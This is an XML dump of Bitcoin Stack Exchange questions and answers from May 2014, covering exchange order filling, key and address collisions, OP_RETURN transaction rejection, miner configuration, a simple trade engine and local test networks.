  <row Id="25058" PostTypeId="2" ParentId="25057" CreationDate="2014-05-02T10:59:05.363" Score="0" Body="&lt;p&gt;You cannot accept or reject an order. When you place a sell order (for clarity's sake assume 1 BTC for 100 dollar) and there is no-one with a buy order above $100/BTC you end up in the list of buy orders. When someone thinks &quot;hmm, that is a nice price to pay for a bitcoin&quot; he can create a buy order for 1 BTC (or less) for $100/BTC. Cryptsy looks then if there is a sell order for that price (or lower) and his order will be filled, and you get your money. So if you leave an order open while you go away, it can be filled without you noticing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more clarity about the filling of orders, you can look at my answer &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24822/how-are-btc-e-orders-filled/24830#24830&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: so if you want to close the deal immediately, buy (or sell) at a rate that there is a seller who sells at that rate. Otherwise the market can go up, and your bid will be missed out. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-05-02T11:24:09.763" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25061" PostTypeId="2" ParentId="25053" CreationDate="2014-05-02T14:58:33.063" Score="1" Body="&lt;p&gt;I do not believe an opencart extension exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set RPC User and RPC Pass in bitcoin.conf you can use Bitcoind's JSON-RPC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll add that doing this opens up a whole slew of security vulnerabilities that would need to be addressed. Having your server communicate with your personal Bitcoin daemon over the public network opens up all kinds of issues and I would strongly discourage it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could generate a bunch of addresses using your Bitciond and upload the public keys to a DB or txt file on your server, display each address only once and associate it with an order in opencart.&lt;/p&gt;&#xA;" OwnerUserId="15583" LastActivityDate="2014-05-02T14:58:33.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25062" PostTypeId="1" AcceptedAnswerId="25075" CreationDate="2014-05-02T15:48:18.730" Score="0" ViewCount="109" Body="&lt;p&gt;Is it technically possible to send a payment consisting of several outputs, of which two (or more) are the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie input collected 10 btc -&gt; output to 1abc 1btc, output to 1abc 1btc, output to self 8btc (change)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the client allow it? Can it be handcrafted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building a merchant-type app, and am trying to account for strange, non-standard transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15585" LastActivityDate="2014-05-02T18:08:55.130" Title="Is it technically possible to send a transaction with two identical destination output addresses?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25068" PostTypeId="1" CreationDate="2014-05-02T16:55:06.680" Score="2" ViewCount="1415" Body="&lt;p&gt;I hear that each address has one private key.&#xA;Is it possible generate three public key address by only one private key?&lt;/p&gt;&#xA;" OwnerUserId="15182" LastActivityDate="2014-08-01T00:04:36.730" Title="Is it possible generate three public key( address ) by only one private key?" Tags="|address|private-key|public-key|address-generation|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25069" PostTypeId="1" AcceptedAnswerId="25071" CreationDate="2014-05-02T17:04:14.633" Score="19" ViewCount="9787" Body="&lt;p&gt;I know that private key is generated randomly by wallet. Is it possible that wallet generate the same address which is used in Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words:&#xA;Given two private keys k&lt;sub&gt;a&lt;/sub&gt; &amp;ne; k&lt;sub&gt;b&lt;/sub&gt;, is it possible that they both generate the same public Bitcoin address?&lt;/p&gt;&#xA;" OwnerUserId="15182" LastEditorUserId="121614" LastEditDate="2023-09-23T20:28:35.200" LastActivityDate="2023-09-23T20:28:35.200" Title="Can two private keys generate the same (public) Bitcoin address?" Tags="|address|client|address-generation|key-collision|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25070" PostTypeId="1" AcceptedAnswerId="25072" CreationDate="2014-05-02T17:26:20.867" Score="2" ViewCount="229" Body="&lt;p&gt;I generate new address in client. I hear that blockchain doesn't know about it. Blockchain will know about it when I use this address for transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My example:&#xA;I generate this address(offline): 1J1JqUPqKq4XvrDRioMSMYKrwL3wKdJ1Fe&#xA;I haven't used yet. How does website blockchain.info know about my address??? &lt;a href=&quot;https://blockchain.info/address/1J1JqUPqKq4XvrDRioMSMYKrwL3wKdJ1Fe&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1J1JqUPqKq4XvrDRioMSMYKrwL3wKdJ1Fe&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="15182" LastActivityDate="2014-05-02T17:43:20.577" Title="Genenerate address offline, but blockchain knows about my address" Tags="|address|public-key|address-generation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25071" PostTypeId="2" ParentId="25069" CreationDate="2014-05-02T17:35:06.867" Score="22" Body="&lt;p&gt;&lt;strong&gt;Yes,&lt;/strong&gt; you can have two keys generate the &lt;em&gt;same address&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 2^160 possible addresses, and 2^256 possible private keys, so each address corresponds to roughly 2^(256-160)=2^96 private keys. Any of these will generate the same address and thus be able to spend the money owned by that address. Since 2^160 is so large, however, it would take a near-eternity to find any collisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether two private keys can generate the &lt;em&gt;same public key&lt;/em&gt; is another question. I think the answer is yes, but I am not sure on that. The public key in uncompressed form consists of two 256-bit numbers, which are X and Y coordinates on an elliptic curve. However, the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=316350.0&quot;&gt;compressed form&lt;/a&gt; is just the X coordinate &lt;a href=&quot;https://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot;&gt;plus a bit&lt;/a&gt;, from which you can calculate the whole public key. This means the space is (at most) 2^257. Unless there is a one-to-one mapping due to the mathematical properties of the cryptography used, each compressed public key corresponds to roughly 0.5 private keys (with the same distribution you'd get from picking a random number from 1 to 2^257, 2^256 times), so some private keys will collide, while others will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Actually finding&lt;/em&gt; any pair of different private keys that generate the same public key or address would be quite difficult. Either it would involve a huge amount of computation and/or luck, or it would be due to finding a serious vulnerability in the algorithm(s) used.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-02T20:35:16.447" LastActivityDate="2014-05-02T20:35:16.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25072" PostTypeId="2" ParentId="25070" CreationDate="2014-05-02T17:43:20.577" Score="6" Body="&lt;p&gt;It only knows anything about the address because you asked about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the address has never appeared in the blockchain, all it knows is &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;what can be seen&lt;/a&gt; from the address: its hash160 value. This is the hexadecimal version of what is encoded in your address, which is a hash of your public key via the &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot;&gt;algorithm explained here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-02T17:43:20.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25074" PostTypeId="2" ParentId="25068" CreationDate="2014-05-02T18:06:36.683" Score="0" Body="&lt;p&gt;You could create 2: one address using the public key in compressed form and a second using the public key in uncompressed form.&lt;/p&gt;&#xA;" OwnerUserId="5836" LastActivityDate="2014-05-02T18:06:36.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25075" PostTypeId="2" ParentId="25062" CreationDate="2014-05-02T18:08:55.130" Score="1" Body="&lt;p&gt;Yes, absolutely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can chop a 1 BTC input into 5 equal 0.2 BTC outputs, all to the same address.  These are not strange at all.&lt;/p&gt;&#xA;" OwnerUserId="5836" LastActivityDate="2014-05-02T18:08:55.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25076" PostTypeId="2" ParentId="25068" CreationDate="2014-05-02T18:12:49.180" Score="2" Body="&lt;p&gt;Not directly, no. Each private key corresponds to exactly one public key. This public key can be represented in two ways that give different addresses: uncompressed and compressed. This gives you two addresses for a private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, however, use the private key as a seed to generate more private keys, much like &lt;a href=&quot;https://electrum.org/seed.html&quot; rel=&quot;nofollow&quot;&gt;Electrum's 128-bit seed&lt;/a&gt;. For example, if your seed were the 24-bit 6B8ABC in hex, use the following numbers as private keys&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SHA256(6B8ABC00)&lt;/li&gt;&#xA;&lt;li&gt;SHA256(6B8ABC01)&lt;/li&gt;&#xA;&lt;li&gt;SHA256(6B8ABC02)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(note: do not use a 24-bit seed or private key, as someone could easily steal your bitcoins)&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-02T18:12:49.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25078" PostTypeId="2" ParentId="17832" CreationDate="2014-05-02T19:03:45.370" Score="3" Body="&lt;p&gt;If you don't want to integrate with a 3rd party bitcoin payment provider you can implement your own payment module for Bitcoin (but also for Litecoin and every Bitcoin-derived altcoin) very easily with &lt;strong&gt;&lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;BitcoinLib&lt;/a&gt;&lt;/strong&gt; that is written in C#.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of &lt;strong&gt;&lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;BitcoinLib&lt;/a&gt;&lt;/strong&gt;'s features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fully compatible and up-to-date with Bitcoin 0.9.1 RPC API.&lt;/li&gt;&#xA;&lt;li&gt;Design-by-contract, service-oriented architecture.&lt;/li&gt;&#xA;&lt;li&gt;Strongly-typed structures for complex RPC requests and responses.&lt;/li&gt;&#xA;&lt;li&gt;Implicit JSON casting for all RPC messages.&lt;/li&gt;&#xA;&lt;li&gt;Extended methods for every-day scenarios where the built-in methods fall short.&lt;/li&gt;&#xA;&lt;li&gt;Exposure of all RPC API's functionality as well as the extended methods through a single interface.&lt;/li&gt;&#xA;&lt;li&gt;Fallback mechanism for timed-out RPC requests.&lt;/li&gt;&#xA;&lt;li&gt;Custom RPC exceptions.&lt;/li&gt;&#xA;&lt;li&gt;Supports all Bitcoin clones.&lt;/li&gt;&#xA;&lt;li&gt;Can operate on unlimited daemons with a single library reference.&lt;/li&gt;&#xA;&lt;li&gt;Litecoin integration included.&lt;/li&gt;&#xA;&lt;li&gt;Each coin instance can be fully parametrized at run-time and implement its own constants.&lt;/li&gt;&#xA;&lt;li&gt;Console test client with demo methods implemented in it.&lt;/li&gt;&#xA;&lt;li&gt;Disconnected raw RPC connector included for quick'n'dirty debugging.&lt;/li&gt;&#xA;&lt;li&gt;Testnet ready.&lt;/li&gt;&#xA;&lt;li&gt;Fully configurable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-05-02T19:03:45.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25079" PostTypeId="2" ParentId="25046" CreationDate="2014-05-02T19:45:50.197" Score="1" Body="&lt;p&gt;With any given algorithm and hardware, there's something that will be the bottleneck: this portion is taxed to its full 100% capacity, while the rest of the hardware is used at &amp;lt;=100% of its capacity. Different portions of the hardware take different amounts of power and heat to run to capacity. Creating an algorithm that taxes the lower-power portions, while leaving the high-power portions largely free, results in a cooler-running algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say you have one algorithm that's heavily processor-bound, and one that's heavily memory-bound. It'd be perfectly reasonable to expect that the processor-bound one runs hotter than the memory-bound one, so if you want your algorithm to run cool, you choose the memory-bound one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that some processes are complicated enough that there is no one bottleneck, but it shifts from time to time (e.g. if you read data from your hard drive, compress it, and transfer it over the network, you might have three completely separate bottlenecks at the different times: disk IO, CPU power, and then network IO). You can view this as a composite of algorithms that individually (should) follow the general rule I outlined above.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-05-02T19:51:06.347" LastActivityDate="2014-05-02T19:51:06.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25080" PostTypeId="2" ParentId="20103" CreationDate="2014-05-02T21:16:27.163" Score="2" Body="&lt;p&gt;You will have to build the transaction yourself instead of relying on wallet software. You can either create it all from scratch and use pushtx or use an online API that accepts explicit input references to previous outputs. For example (check the last paragraph):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#transaction_skeleton&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#transaction_skeleton&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-02T21:16:27.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25081" PostTypeId="1" CreationDate="2014-05-02T22:49:38.810" Score="0" ViewCount="99" Body="&lt;p&gt;Is there a way to chain calls in Bitcoin core client console window like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;validateaddress (getaccountaddress &quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getaccountaddress &quot;&quot;&#xA;validateaddress _address from previous call_&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2014-05-03T17:31:56.007" Title="Is there a way to chain calls in Bitcoin core console?" Tags="|client|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25082" PostTypeId="1" CreationDate="2014-05-03T01:10:20.370" Score="1" ViewCount="48" Body="&lt;p&gt;According to section 7 of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_white_paper#Reclaiming_Disk_Space&quot; rel=&quot;nofollow&quot;&gt;original bitcoin spec.&lt;/a&gt; by Satoshi:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once the latest transaction in a coin is buried under enough blocks,&#xA;  the spent transactions before it can be discarded to save disk space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In order to get the bitcoin-qt client running, I am currently downloading the ENTIRE block chain from the &lt;a href=&quot;https://bitcoin.org/bin/blockchain/bootstrap.dat.torrent&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/bin/blockchain/bootstrap.dat.torrent&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a smaller download somewhere? My google skills are failing me, plz help.&lt;/p&gt;&#xA;" OwnerUserId="15599" LastActivityDate="2014-05-03T01:10:20.370" Title="Reclaiming Disk Space" Tags="|blockchain|bitcoin-core|" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-10T14:57:10.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="25084" PostTypeId="1" CreationDate="2014-05-03T05:36:21.290" Score="2" ViewCount="1281" Body="&lt;p&gt;How cryptocoin trade engine works? Is there any open source project available other than buttercoin. I want to build a simple trade engine in ruby on rails for cryptocoins. what are the essential parts needed other than API?&lt;/p&gt;&#xA;" OwnerUserId="12634" LastActivityDate="2014-05-06T21:15:18.973" Title="How trade engine works?" Tags="|bitcoind|client|api|trading|trade|" AnswerCount="2" CommentCount="0" ClosedDate="2014-05-20T23:22:13.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="25085" PostTypeId="2" ParentId="25084" CreationDate="2014-05-03T11:22:37.670" Score="0" Body="&lt;p&gt;You can code a trade engine in language like C++ or any other which ever is suitable for you. What actually happens in the back-end is an script keeps on repeating after particular interval for new trades or deposits that script can be coded in any language which can communicate with the database. Following is the example of a PHP script which checks for new trades and then update the database if any new trade took place: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;$sell = mysql_query(&quot;SELECT * FROM trades WHERE `From`&amp;lt;&amp;gt;`Type` LIMIT 1000000000000&quot;);&#xA;$num = mysql_num_rows($sell);&#xA;echo $num;&#xA;for ($i = 0; $i &amp;lt; $num; $i++) {&#xA;$id = mysql_result($sell,$i,&quot;Id&quot;);&#xA;if($id != 0)&#xA;{&#xA;    $trade = new Trade($id);&#xA;    $trade-&amp;gt;GetEquivalentTrade();&#xA;    $trade-&amp;gt;ExecuteTrade();&#xA;}&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-05-03T11:22:37.670" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25088" PostTypeId="1" AcceptedAnswerId="25098" CreationDate="2014-05-03T14:51:07.030" Score="3" ViewCount="626" Body="&lt;p&gt;The raw transaction below is being rejected by bitcoind 0.9.1 (&lt;code&gt;error: {&quot;code&quot;:-22,&quot;message&quot;:&quot;TX rejected&quot;}&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the following error appears in the logs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: AcceptToMemoryPool : nonstandard transaction: scriptpubkey&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The decoded transaction uses OP_RETURN and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;   &quot;lock_time&quot;:0,&#xA;   &quot;inputs&quot;:[&#xA;      {&#xA;         &quot;prev_out&quot;:{&#xA;            &quot;index&quot;:0,&#xA;            &quot;hash&quot;:&quot;b8918ff0fe2171584b771acb07dc120c7e515e3d3a0cd7846e924bf8c1a89455&quot;&#xA;         },&#xA;         &quot;script&quot;:&quot;47304402203ea43861e1e22603873f49e73c6ace08d32ef024e1feaca5a6242f74bf152810022044aeee3231e81d927accf20b0b0106ec327728b6a61aedd75596c5c12e5d9999012102add59262e234c0045d1f6a3d40a144b47ea0b4214916f55fb6029a079cc0b3cb&quot;&#xA;      }&#xA;   ],&#xA;   &quot;vout_sz&quot;:3,&#xA;   &quot;hash&quot;:&quot;4dd1b7130045f84e7dd75a03dc802063f76687812cf877dacff2a645a1b0991b&quot;,&#xA;   &quot;vin_sz&quot;:1,&#xA;   &quot;out&quot;:[&#xA;      {&#xA;         &quot;address&quot;:&quot;12QkihKUyE1hAkv7wmaMj6V3QiN8FfMvpv&quot;,&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 0f763005e063382f8f4138f75cdc64d14f8ec16f OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;value&quot;:600,&#xA;         &quot;script&quot;:&quot;76a9140f763005e063382f8f4138f75cdc64d14f8ec16f88ac&quot;&#xA;      },&#xA;      {&#xA;         &quot;script_string&quot;:&quot;OP_RETURN 4f41010001 753d687474703a2f2f7265642e70696c6c&quot;,&#xA;         &quot;value&quot;:0,&#xA;         &quot;script&quot;:&quot;6a054f4101000111753d687474703a2f2f7265642e70696c6c&quot;&#xA;      },&#xA;      {&#xA;         &quot;address&quot;:&quot;12QkihKUyE1hAkv7wmaMj6V3QiN8FfMvpv&quot;,&#xA;         &quot;script_string&quot;:&quot;OP_DUP OP_HASH160 0f763005e063382f8f4138f75cdc64d14f8ec16f OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;         &quot;value&quot;:29400,&#xA;         &quot;script&quot;:&quot;76a9140f763005e063382f8f4138f75cdc64d14f8ec16f88ac&quot;&#xA;      }&#xA;   ],&#xA;   &quot;size&quot;:259,&#xA;   &quot;version&quot;:1&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However OP_RETURN is standard in Bitcoin 0.9, so why is this being rejected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This works in testnet.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2014-05-04T02:50:39.537" Title="Transaction with OP_RETURN rejected by bitcoind 0.9" Tags="|bitcoind|raw-transaction|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25092" PostTypeId="2" ParentId="24241" CreationDate="2014-05-03T17:18:39.720" Score="0" Body="&lt;p&gt;I wouldn't count on difficulty drop, even if it is unprofitable in the future.&#xA;Please take a look at the current situation: mining is already unprofitable for the last year or so. And diff has raised 8 times since begining of the year...&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2014-05-03T17:18:39.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25093" PostTypeId="2" ParentId="25081" CreationDate="2014-05-03T17:22:14.660" Score="-1" Body="&lt;p&gt;You can use the &lt;code&gt;$()&lt;/code&gt; syntax to execute another command and have it return its results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;validateaddress $(getaccountaddress &quot;&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the docs: &lt;a href=&quot;http://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html#Command-Substitution&quot; rel=&quot;nofollow&quot;&gt;http://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html#Command-Substitution&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-05-03T17:31:56.007" LastActivityDate="2014-05-03T17:31:56.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25095" PostTypeId="2" ParentId="637" CreationDate="2014-05-03T19:31:47.130" Score="0" Body="&lt;p&gt;You could also check out my project: &lt;a href=&quot;https://github.com/colinrgodsey/scalaminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/colinrgodsey/scalaminer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking to expand functionality too&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2014-05-03T19:31:47.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25096" PostTypeId="2" ParentId="1" CreationDate="2014-05-03T19:52:34.263" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/colinrgodsey/scalaminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/colinrgodsey/scalaminer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Written in scala, mostly just mining device control for connecting with pools&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2014-05-03T19:52:34.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25097" PostTypeId="1" CreationDate="2014-05-04T01:03:42.703" Score="3" ViewCount="3679" Body="&lt;p&gt;I've just started upgrading my USB miners with Antminer U2's and so far everything is running well.  I am able to run all of my miners OC'd to 2.0GH/s with the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bfgminer --set-device antminer:clock=x0981 -o POOL_URL -u POOL_USERNAME -p POOL_PASSWORD -S antminer:all&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I would like to know if it is possible to specify these overclock settings in a config file... I normally have a config file with various options set up that I load using bfgminer's &lt;code&gt;-c&lt;/code&gt; flag.  I tried the obvious:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;...&#xA;&quot;shares&quot; : &quot;0&quot;,&#xA;&quot;kernel-path&quot; : &quot;/usr/local/share/bfgminer&quot;,&#xA;&quot;scan&quot; : [&#xA;        &quot;antminer:clock=x0781@/dev/ttyUSB0&quot;,&#xA;        &quot;antminer:clock=x0781@/dev/ttyUSB1&quot;,&#xA;        &quot;antminer:clock=x0781@/dev/ttyUSB2&quot;,&#xA;        &quot;antminer:clock=x0781@/dev/ttyUSB3&quot;,&#xA;        &quot;antminer:clock=x0781@/dev/ttyUSB4&quot;&#xA;]&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but unfortunately that didn't work.  Also my attempts at googling&#xA;I found plenty of examples of people setting overclocking using the command line (or batch files) but none using a config file.&lt;/p&gt;&#xA;" OwnerUserId="4819" LastActivityDate="2015-02-07T07:46:28.973" Title="Can you specify Antminer overclock settings in bfgminer config file?" Tags="|bfgminer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25098" PostTypeId="2" ParentId="25088" CreationDate="2014-05-04T02:50:39.537" Score="7" Body="&lt;p&gt;I suspect that the second output is being rejected because it contains an OP_RETURN with two data pushes.  From browsing the code, &quot;Solver&quot; in script.cpp only categorizes output scripts as &quot;standard&quot; if they meet one of a limited set of templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All such templates containing OP_RETURN:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;OP_RETURN, by itself&lt;/li&gt;&#xA;&lt;li&gt;OP_RETURN, followed by a data push operation that pushes not more than 40 bytes onto the stack.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since your script is &quot;OP_RETURN, followed by a data push operation that pushes not more than 40 bytes onto the stack, &lt;strong&gt;followed by another data push operation&lt;/strong&gt;&quot;, it looks like it wouldn't meet either of those templates.&lt;/p&gt;&#xA;" OwnerUserId="14109" LastActivityDate="2014-05-04T02:50:39.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25100" PostTypeId="1" CreationDate="2014-05-04T06:39:04.767" Score="1" ViewCount="377" Body="&lt;p&gt;I want to create a locally bitcoin network. I use testnet and testnet-in-box, both of them working well. but they use the testnet-blockchain, I want to test the real blockchain. so I use two PC, one is win7, and the other is ubuntu in vBox.&#xA;In the bitcoin.conf of win7: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=0&#xA;irc=0&#xA;dnsseed=0&#xA;upnp=0&#xA;listen=0&#xA;checkpoints=0&#xA;connect=192.168.1.126:19000&#xA;gen=1&#xA;rpcuser=test&#xA;rpcpassword=123&#xA;port=19010&#xA;rpcport=19011&#xA;keypool=5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the bitcoin.conf in ubuntu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; testnet=0&#xA;     irc=0&#xA;     dnsseed=0&#xA;     upnp=0&#xA;     listen=1&#xA;     checkpoints=0&#xA;     connect=192.168.1.124:19010&#xA;     rpcuser=test&#xA;     rpcpassword=123&#xA;     port=19000&#xA;     rpcport=19001&#xA;     keypool=5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In win7 : &#xA;     the bitcoin-qt show &quot;No active connections to bitcoin network&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ubuntu:&#xA;     the bitcoin-qt show &quot;8 active connections to bitcoin network&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the status in ubuntu is not correct, because I want it only connect to the bitcoin-qt in win7. &#xA;and I also want to know how to mine in this local network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK... I found the bitcoin-qt under ubuntu doesn't configured by &lt;code&gt;bitcoin.conf&lt;/code&gt;. So I use &#xA;&lt;code&gt;bitcoind -datadir=~/.bitcoin -daemon&lt;/code&gt; to run the service. and this time, I got &quot;1 active connections to bitcoin network&quot;. and I am sure they link to each other.&lt;/p&gt;&#xA;" OwnerUserId="15507" LastEditorUserId="2306" LastEditDate="2015-02-01T21:35:13.650" LastActivityDate="2015-02-01T21:35:13.650" Title="How to create a local bitcoin network with 2 peers?" Tags="|network|" AnswerCount="0" CommentCount="1" ClosedDate="2014-06-17T15:06:13.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="25101" PostTypeId="1" CreationDate="2014-05-04T07:04:48.410" Score="0" ViewCount="109" Body="&lt;p&gt;Yesterday someone transfer by accident some btc to my old address not used since 6 months. I knew i deleted all this, but last spent hour I was able to find my walltet. So I installed bitcoin core, few months before it looked different but ok, and replaced my walltet.dat , then when I launch it, it says : scanning, and then it starts but there is no any receiving address, can I somehow restore it ?&lt;/p&gt;&#xA;" OwnerUserId="15615" LastActivityDate="2016-10-25T19:31:25.387" Title="Unable to recovery old btc address" Tags="|bitcoind|btce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
